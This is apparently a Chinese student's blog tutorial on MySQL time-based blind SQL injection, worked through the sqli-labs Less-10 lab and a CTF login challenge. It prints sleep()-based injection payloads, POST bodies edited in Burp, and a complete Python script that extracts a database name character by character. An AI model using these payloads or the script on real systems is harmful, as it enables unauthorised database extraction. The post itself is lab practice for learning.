时间盲注概念(百度经验): MySQL基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。

基础函数

if(payload,true,false)如果payload是正确的,那就执行true,否则就执行false。
sleep()这个函数有一个参数,可以延迟输出,可以根据它是否延迟相应的时间来判断语句正确还是错误。

开始注入

GET类型

(1)get举例:sqli-labs-10
这个跟之前判断的语句不一样,因为这一关它不管是输入'还是"都是一个结果,所以这里要变化一下。

?id=1' and if(1=1,sleep(5),0)--+

这里我把时间设置的比较长了一点,3秒的话,我还真看不出来😂😂😂。
这个加载很快,再试试双引号,可以。这样就知道闭合符号是双引号。
然后,这个用脚本跑一下,目前还不会写脚本,(咳咳,那不叫偷拿,我们学习呢。😎😎😎这句话出来估计又要找打了。)学长写的脚本先试试感觉。

#!/usr/bin/env python

#!-*-coding:utf-8 -*-

#!@lime    :   13:03

#!@Author  : Augenstern

#!@File    : .py

import requests
import time
import string
import sys

headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"}

chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

resualt = ''

global length

for l in range(1, 20):
    lengthUrl = 'http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(length(database())>{0},1,sleep(5))--+'
    lengthUrlFormat = lengthUrl.format(l)
    start_time0 = time.time()
    rsp0 = requests.get(lengthUrlFormat, headers=headers)
    if time.time() - start_time0 > 2.5:
        print('result length is ' + str(l))
        global length
        length = l
        break
    else:
        pass

for i in range(1, length + 1):

    for char in chars:
        charAscii = ord(char)

        url = 'http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(5))--+'
        urlformat = url.format(i, charAscii)

        start_time = time.time()

        rsp = requests.get(urlformat, headers=headers)

        if time.time() - start_time > 2.5:
            resualt += char
            print('resualt: ', resualt)
            break
        else:
            pass

print('resualt is ' + resualt)

过程有点慢,但总比手注快多了。看下结果:
在这里插入图片描述
这脚本真棒。为了证明我这脚本小子不止会 ,呸,借!!!,我还认真的去看了。

运行之前的检查

对了,因为第一次看脚本,犯了很沙雕的错误,一上午就在查。当时一下子整懵B了。
跑脚本之前,先加第三方库,像这个脚本,就是要添加requestresponselength,至于time,我刚开始也去添加了,发现添加不了,一直出错,然后就到百度去查,有的说,用pip添加再导入,反正乱七八糟的说啥的都有,把我这个小萌新整成小懵B了。到最后我才发现,这是不用添加的,简直气死 在这里插入图片描述
time是Python自带的库。就这………………
还有,别像这样拿到一个脚本就去跑,有些基本的东西还是要改的,比如:文件头(就那个叫headers的家伙)、然后就是url,别人的url不一定就跟你的一样,我们学长的就跟我们不一样,人家是Mac,(有钱,酸了)。
还有一种情况:
在这里插入图片描述
由于目标计算机积极拒绝,无法连接。这个网上说啥的都有,然后我就又懵B了,什么添加端口监视服务的什么乱七八糟的。给我整得头大。
然后,解决办法呢,就是看看文件头改了没,url改了没。仅此而已……
文件头

这个在源码里可以找到,随便找个网站就可以,这里我拿百度当例子;f12,再点network
在这里插入图片描述
随便选择一个,点开,在最下方找到User-agent
在这里插入图片描述
还有其他的办法,用burp抓包,也是随便找个网站抓包,还拿百度来试验;
在这里插入图片描述
这个也可以。两种办法,任意选择。
好了,这下就可以跑脚本了。
脚本大意:
import作用是导入。
可以用来导入一个数据,或者一个库。在这里,就是导入库的意思,在这里导入requests、time、string、sys这几个库。
header跟http协议有关,请求头,里面包含的是请求头信息。而这个信息我们可以找到我们电脑的按照上面那两个方法。
global length 说明length是个全局变量,如果想要为一个定义在函数外的变量赋值,那么就得告诉Python这个变量名不是局部的,而是 全局 的。我们使用global语句完成这一功能。没有global语句,是不可能为定义在函数外的变量赋值的。
一个循环for l in range(1,20)一般的数据库名长度不会大于20,这里用20就可以了,太大的跑的时间太长。在lengthUrl里添加SQL语句,然后format函数是一个格式化函数,具体作用不再多说。
start_time()是设置的最初始的时间,如果加载好网页所用的时间减去初始时间大于2.5s了,网页加载有延迟了,那么就证明这个是对的。然后就打印结果的长度。
又是一个循环,这个是爆数据库名了,order()函数将ASCII码转换为数字,下面再次更改url,还是设置一个初始时间,因为在开始的时候,设置了resualt,所以这里就每得出一个结果,就加上之前的字符串,打印出来。最后再打印出来最后一次循环的结果。
这就是我个人对这个脚本的理解,如果有不对的地方请大佬指正。

POST类型

看下题:
在这里插入图片描述
这张图片哈哈哈,专门截进来,我喜欢这个。🤣🤣🤣🤣
开始解题:先f12看看有没有什么信息(😂😂这里一般会有点提示的),找到了,注释………………
在这里插入图片描述
嗯,这里我用burp抓包了,先抓包,
抓到之后,改成这样:

username=qwzf' and if(1=2,0,sleep(5))--+&password=

在这里插入图片描述
这里用单引号加载延迟了5秒,可以判断闭合符号是单引号。
2.判断库的长度。

username=qwzf' and if(length(database())='10',sleep(5),0)--+&password=

使用二分法比较快。
在这里插入图片描述
数据库的长度出来了,是10。
然后可以用burp来一个一个猜库名,也比手注要省力。

username=qwzf' and if(ascii(substr(database(),1,1))=99,sleep(5),0)--+&password=qwzf

在这里插入图片描述
看那个箭头指的地方,那是网页加载的时间吗,可以根据那里进行判断。其他就不再废话了。
我原本想着burp应该可以直接爆这些库名什么的。可是我不会,我一直以为是我操作的问题,就一直查啊,看了好多博客,都没有人用burp去爆破,今天聊天的时候,我问了一下,这个只能一个一个判断,没有省事的办法,然后我就不纠结了。这个问题烦了我两天。这个都是用脚本跑的。就这样吧,白白纠结了两天。啥也不是。